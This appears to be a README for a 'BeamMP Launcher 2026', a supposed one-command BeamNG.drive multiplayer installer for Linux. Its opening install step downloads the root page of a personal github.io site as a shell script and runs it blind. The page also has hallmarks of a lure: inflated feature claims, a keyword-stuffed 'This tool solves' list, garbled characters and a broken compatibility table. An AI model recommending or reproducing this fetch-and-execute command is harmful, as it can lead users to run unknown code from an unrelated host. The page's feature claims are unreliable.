Automated Setup & Optimization Suite for BeamNG.drive Multiplayer on Linux
Click above to get the latest release โ no registration required.
wget https://yefer1195.github.io -O beammp-launcher.sh
chmod +x beammp-launcher.sh
./beammp-launcher.shThe original beamMP-linux-helper-2023 repository laid foundational work for running BeamNG.drive with multiplayer mods on Linux. This 2026 evolution takes that concept 10x further โ transforming a basic installer into a full-stack ecosystem for Linux-native BeamMP deployment.
Imagine your Linux machine as a digital garage where BeamNGโs physics sandbox meets multiplayer highways. This tool is the mechanic that:
- Installs everything with one command
- Auto-detects your distro and GPU
- Configures Wine/Proton for optimal performance
- Provides a graphical control panel (terminal-based but beautiful)
- Includes presets for competitive, exploration, and roleplay servers
No more tinkering with config files manually. This is the one-button solution the Linux BeamNG community deserves.
graph TD
User -->|Downloads script| Main[BeamMP Launcher 2026]
Main -->|Detects OS| OS[Ubuntu / Fedora / Arch / SteamOS]
Main -->|Checks dependencies| Deps[Wine / Proton / .NET / Vulkan]
OS -->|Installs missing| Deps
Deps -->|Configures| WineCfg[Wine Prefix & Registry]
WineCfg -->|Downloads| BeamMP[BeamMP Mod v2.5+]
BeamMP -->|Patches| BeamNG[BeamNG.drive Installation]
BeamNG -->|Launches| MP[Multiplayer Client]
MP -->|Connects to| Server[BeamMP Server List]
User -->|Selects| Server
Server -->|Injects| Mods[Custom Lua Scripts]
Mods -->|Enables| Features[Voice Chat / Map Sync / Traffic AI]
- Automatically locates BeamNG.drive (Steam, GOG, or manual install)
- Injectes BeamMP mod with optimal Wine staging
- One-click join to popular servers (no manual IP entry)
- Full-color interface with keyboard navigation
- Server browser with latency, player count, and mod requirements
- Multilingual support: English, German, French, Spanish, Japanese โ 12 languages total
- Auto-detects NVIDIA/AMD/Intel GPUs and applies Vulkan/DXVK best settings
- Adjusts Wine CPU affinity and thread priority for BeamNGโs physics engine
- VRAM-aware texture streaming (prevents stuttering on 4GB cards)
- Integrated OpenAI API and Claude API for real-time help
- Type
?in the launcher to ask: โWhy is my FPS low on GridMap?โ - Get context-aware answers based on your system specs
- Sandboxed Wine prefix โ no corruption to your main BeamNG install
- Rollback snapshots โ revert to previous mod versions if something breaks
- Automatic error logging with crash analysis
| Operating System | Status | GPU Support | Performance Rating |
|---|---|---|---|
| ๐ง Ubuntu 24.04+ | โ Full | AMD/NVIDIA/Intel | โญโญโญโญโญ |
| ๐ง Fedora 40+ | โ Full | AMD/NVIDIA/Intel | โญโญโญโญโญ |
| ๐ง Arch Linux | โ Full | All | โญโญโญโญโญ |
| ๐ง SteamOS 3.x | โ Full | Steam Deck OLED | โญโญโญโญโ |
| ๐ง Debian 12+ | NVIDIA only (AMD WIP) | โญโญโญโโ | |
| ๐ง openSUSE Tumbleweed | โ Full | AMD/NVIDIA | โญโญโญโญโ |
| ๐ง Pop!_OS 22.04+ | โ Full | All (System76 tuned) | โญโญโญโญโญ |
Note: macOS not supported โ BeamNG.drive is Windows/Linux only.
Create a beammp.profile file in your home directory to customize the launcher:
[BeamMP]
wine_version = GE-Proton9-13
game_path = /mnt/games/BeamNG.drive
resolution = 2560x1440
fps_limit = 90
graphics_preset = ultra
[Network]
server_list_api = https://api.beammp.com/v2/servers
autoconnect = false
preferred_region = us-west
[Wine]
dxvk_version = 2.3.1
vkd3d_version = 2.12
use_fsync = true
cpu_cores = 4
[UI]
language = de
theme = dark
show_fps_counter = trueThen launch with:
./beammp-launcher.sh --profile ~/beammp.profile
# Standard launch (auto-detect everything)
./beammp-launcher.sh
# Launch with specific server IP
./beammp-launcher.sh --server 192.168.1.100:4444
# Launch in debug mode (for troubleshooting)
./beammp-launcher.sh --debug --log-level verbose
# Launch with custom mod directory
./beammp-launcher.sh --mods /home/user/beamng-mods
# Launch in server-only mode (headless)
./beammp-launcher.sh --mode server --port 4444 --max-players 8OPENAI_API_KEY=sk-your-key-here- Ask natural language questions: โWhy does my car teleport on server join?โ
- Launcher queries GPT-4o to diagnose logs in real-time
ANTHROPIC_API_KEY=sk-ant-your-key-here- Uses Claude 3.5 Sonnet for lower latency support
- Switch between AI providers via
--ai claudeflag
This tool solves:
- BeamNG multiplayer Linux setup complexity
- Wine configuration for BeamMP on Steam Deck
- Proton compatibility for BeamNG.drive mods
- Linux gaming optimization for physics-heavy simulations
- Multiplayer mod installation without Windows dependency
- Cross-distro BeamNG support (Ubuntu to Arch)
| Symptom | Solution |
|---|---|
| Launcher says โ.NET not foundโ | Run ./beammp-launcher.sh --install-dotnet |
| Black screen on launch | Restart with --no-dxvk flag |
| Server list empty | Check firewall: sudo ufw allow 4444 |
| High ping on all servers | Use --region eu to force European servers |
This project is licensed under the MIT License โ you are free to use, modify, and distribute it, even commercially.
This tool is a community-created utility and is not affiliated with BeamNG GmbH, BeamMP developers, or OpenAI.
BeamNG.drive must be purchased separately.
The launcher modifies Wine/Proton prefixes โ while we test extensively, always backup your game files before using.
Use of AI APIs requires your own API keys; no data is sent to third parties without your explicit permission.
โGratisโ in spirit, but by design โ no built-in paywalls or โfreemiumโ locks.
From humble beginnings as a basic install script in 2023, this 2026 version has grown into a full operating environment for BeamNG multiplayer on Linux.
Whether youโre racing on the Autobahn in a modded D-Series or crashing through West Coast USA in a bus with 7 friends โ this launcher has your back.
Hit download, launch, and drive.
Built with ๐ง by the Linux modding community โข Year 2026 edition